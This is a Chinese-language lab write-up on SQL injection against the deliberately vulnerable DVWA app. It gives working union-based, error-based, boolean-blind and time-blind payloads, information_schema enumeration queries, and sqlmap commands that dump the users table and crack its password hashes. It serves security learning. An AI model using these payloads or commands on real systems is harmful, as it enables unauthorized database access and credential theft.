基于DVWA的SQL注入学习

基于DVWA的SQL注入学习

  SQL注入(SQL Injection)是指攻击者通过注入恶意的SQL命令,破坏SQL查询语句的结构,从而达到执行恶意SQL语句的目的。

  以下为基于DVWA靶机下Low难度级别下的探索:

基于回显的SQL注入

找到注入点

  正常输入一些内容,查看输出

  由于MySQL查询时,字符串和数字之间可以隐式转换。因此如果为字符串类型,注入时还需要考虑引号问题。
  于是注入类型可以分为数字型和字符串型。

  在输入框中输入1',结果显示:

You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1''' at line 1

  结果报错了,很有可能这个地方就是注入点。可以从'1''看出改查询字段的语句内容是字符串型的,不妨猜测大致的SQL查询语句的格式为:

select first_name, surname from `table` where id='$user_id'

  基于以上猜测,对于如下一条SQL语句来说,以下判断式总是永真的:

select first_name, surname from `table` where id='    1' or 2333='2333    '


验证查询语句中的字段个数

  借助order by col_num的语法,一旦col_num超过了所要查询的字段个数,就会报错。

select first_name, surname from `table` where id='    1' or 2333=2333    order by 1 #    '

  因此,当对col_num调到3的时候,就会报错,于是可以确定查询语句的显示涉及到了两个字段(first_name, surname)

Unknown column '3' in 'order clause'

  同样地,也可以通过union合并另一个查询语句来测试,因为union两头的select列数要相等:

select first_name, surname from `table` where id='    1' 
union
select 2333, '2333    '

获得用户、数据库、表、字段列

  根据上面的思想,如果使用union并且结合一些子查询、特殊函数等,那么就可以显示出对应信息了。

常用函数:

  • version() mysql 版本
  • user() 数据库用户
  • database() 当前数据库
  • @@datadir 数据库的路径
  • @@version_compile_os OS版本
获得数据库用户
select first_name, surname from `table` where id='    1' 
union 
select user(), '2333    '

  所以上图中第二条记录中每个字段对应的结果即为所求的,即当前数据库的用户为app@localhost
  同理可得,当前数据库为dvwa

爆出表名和字段名
  • information_schema 数据库
    • tables 表信息
      • table_name 表名
      • table_schema 表所属的数据库
    • columns 列信息
      • column_name 列名
      • table_name 列所属的表
      • table_schema 表所属的数据库

  为了方便一行就能显示信息,使用group_concat函数对字段进行拼接。

  以下为获得当前数据库所有表的注入代码,可以得到当前数据库的表为guestbook,users

select first_name, surname from `table` where id='    1' 
union 
select (
    select group_concat(table_name) from information_schema.tables where table_schema=database()
), '2333    '

  以下为获得users表的注入代码,它的列字段为user_id,first_name,last_name,user,password,avatar,last_login,failed_login

select first_name, surname from `table` where id='    1' 
union 
select (
    select group_concat(column_name) from information_schema.columns 
        where table_name='users' and table_schema=database()
), '2333    '

  于是在这种得知了全部表和字段的情况下,可以去获取一些敏感数据了,比如password字段的数据:

select first_name, surname from `table` where id='    1'
union 
select user_id, password from users    # '

基于报错的SQL注入法

  借助MySQL提供的一些内置函数来获取数据,比如基于extractvalue函数的报错获取用户信息:

select first_name, surname from `table` where id='    1' 
union 
select (
    extractvalue(1,concat(0x7e,(
        select user()
    ),0x7e))
), '2333    '

  其中0x7e表示~,用于防止中间信息丢失,以上注入代码输出报错结果为:

XPATH syntax error: '~app@localhost~'


SQL盲注

  盲注时攻击者通常无法从页面直接看到SQL语句的执行结果,甚至连SQL语句是否执行都不能确定,因此盲注的难度要比一半注入要高。

常用函数:

  • length(string)
  • ord(char)
  • left(string, len) 从左到右截取
  • right(string, len)
  • substr(string, index[, len])
  • if(expr1, expr2, expr3) 若expr1执行为true,则执行expr2,否则为expr3

基于布尔的SQL盲注

  在DVWA盲注下的返回结果只有两种情况:User ID exists in the database.和User ID is MISSING from the database.

  通过以下两条语句分别对应这两种注入的结果来看,可以知道这种情况是字符串类型的盲注。

select * from `table` where user_id = '    1' and true #        '
select * from `table` where user_id = '    1' and false #    '

  没有什么特别高效的办法,主要还是根据上边提到的常用函数对期望的内容进行猜测,基于布尔盲注可以进行验证。

  类似地,根据上文的方法,不难判断查询语句列的数量为2个。
  以获得数据库用户为例,先猜测并验证结果的长度,随后猜测验证字符串每一位的字符是多少:(可以用二分查找加速)

select col1, col2 from `table` where user_id = '    1' and length(user()) = 13    #    '
select col1, col2 from `table` where user_id = '    1' and left(user(),1) = 'a'    #    '

基于时间的SQL盲注

  如果一个页面上什么都不返回,就难以基于布尔来判断SQL语句是否生效。类似的,通过SQL延迟一段时间的方式来形成布尔的判断,是时间盲注的思想。

  还是以判断用户名为例,结合if和sleep函数,如果猜对了就延迟3秒钟,否则就立即得出结果:

select col1, col2 from `table` where user_id = '    1' and if(length(user()) = 13, sleep(3), true)    #    '


sqlmap工具的使用

sqlmap是一款开源的自动SQL注入工具。

判断注入点

  以DVWA盲注为例,提取浏览器cookie中的相关字段PHPSESSIDsecurity作为参数,首先判断注入点:

sqlmap -u 'http://localhost/vulnerabilities/sqli_blind/?id=1&Submit=Submit' --cookie='PHPSESSID=oe4h0rh37qbfk44ucrmnrv8fj4; security=low' --batch

  其中参数batch表示尝试时注入不作询问。
  其中有一行输出显示”GET parameter ‘id’ is vulnerable.”,可以判断参数id为可能的注入点,测试结果如下:

---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1' AND 8237=8237 AND 'xgvp'='xgvp&Submit=Submit

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=1' AND (SELECT 2600 FROM (SELECT(SLEEP(5)))dOlm) AND 'qrrp'='qrrp&Submit=Submit
---

获取数据库信息

sqlmap参数信息:

  • 所有用户:--users
  • 当前用户:--current-user
  • 所有数据库:--dbs
  • 当前数据库:--current-db
  • 数据库账户与密码:--passwords
  • 指定库中的表:-D <db-name> --tables
  • 指定库表中的字段列:-D <db-name> -T <table-name> --columns
  • Dump出指定字段内容:-D <db-name> -T <table-name> -C <col-name> --dump

  假设已经知道了数据库、表和字段的信息,以下以Dump出字段的内容为例:

sqlmap -u 'http://localhost/vulnerabilities/sqli_blind/?id=1&Submit=Submit' --cookie='PHPSESSID=oe4h0rh37qbfk44ucrmnrv8fj4; security=low' -T users -C user_id,password --dump

  在交互中可以选择将结果保存到文件,并且可以选择字典爆破来破解出password字段的明文,结果如下:

+---------+---------------------------------------------+
| user_id | password                                    |
+---------+---------------------------------------------+
| 1       | 5f4dcc3b5aa765d61d8327deb882cf99 (password) |
| 2       | e99a18c428cb38d5f260853678922e03 (abc123)   |
| 3       | 8d3533d75ae2c3966d7e0d4fcc69216b (charley)  |
| 4       | 0d107d09f5bbe40cade3de5c71e9e9b7 (letmein)  |
| 5       | 5f4dcc3b5aa765d61d8327deb882cf99 (password) |
+---------+---------------------------------------------+

POST类型注入

data参数:--data=param

  以medium难度的盲注为例,使用data参数:

sqlmap -u 'http://localhost/vulnerabilities/sqli_blind/' --cookie='PHPSESSID=oe4h0rh37qbfk44ucrmnrv8fj4; security=medium' --data='id=1&Submit=Submit' --batch

-------------本文结束-------------
0%